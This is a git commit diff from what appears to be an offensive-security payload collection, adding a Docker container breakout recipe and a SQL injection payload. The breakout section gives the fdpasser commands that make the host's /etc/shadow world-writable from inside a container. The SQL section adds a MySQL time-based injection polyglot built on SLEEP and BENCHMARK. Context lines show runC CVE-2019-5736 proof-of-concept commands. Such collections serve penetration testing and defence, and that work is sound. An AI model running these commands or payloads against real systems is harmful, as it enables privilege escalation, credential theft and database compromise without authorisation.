Docker device file breakout

patch-1
Swissky 2020-07-04 19:00:56 +02:00
parent f86837ca8c
commit 5b1a79cb56
2 changed files with 14 additions and 0 deletions

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@ -10,6 +10,7 @@
- [Insecure Docker Registry](#insecure-docker-registry)
- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1)
- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc)
- [Breaking out of containers using a device file](#breaking-out-of-containers-using-a-device-file)
- [References](#references)
## Tools
@ -164,6 +165,16 @@ $ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicio
$ docker run --rm cve-2019-5736:malicious_image_POC
```
## Breaking out of containers using a device file
```powershell
https://github.com/FSecureLABS/fdpasser
In container, as root: ./fdpasser recv /moo /etc/shadow
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
Outside container: ls -la /etc/shadow
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow
```
## References
- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/)

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@ -387,6 +387,9 @@ Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
/* MySQL only */
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
```
## Routed injection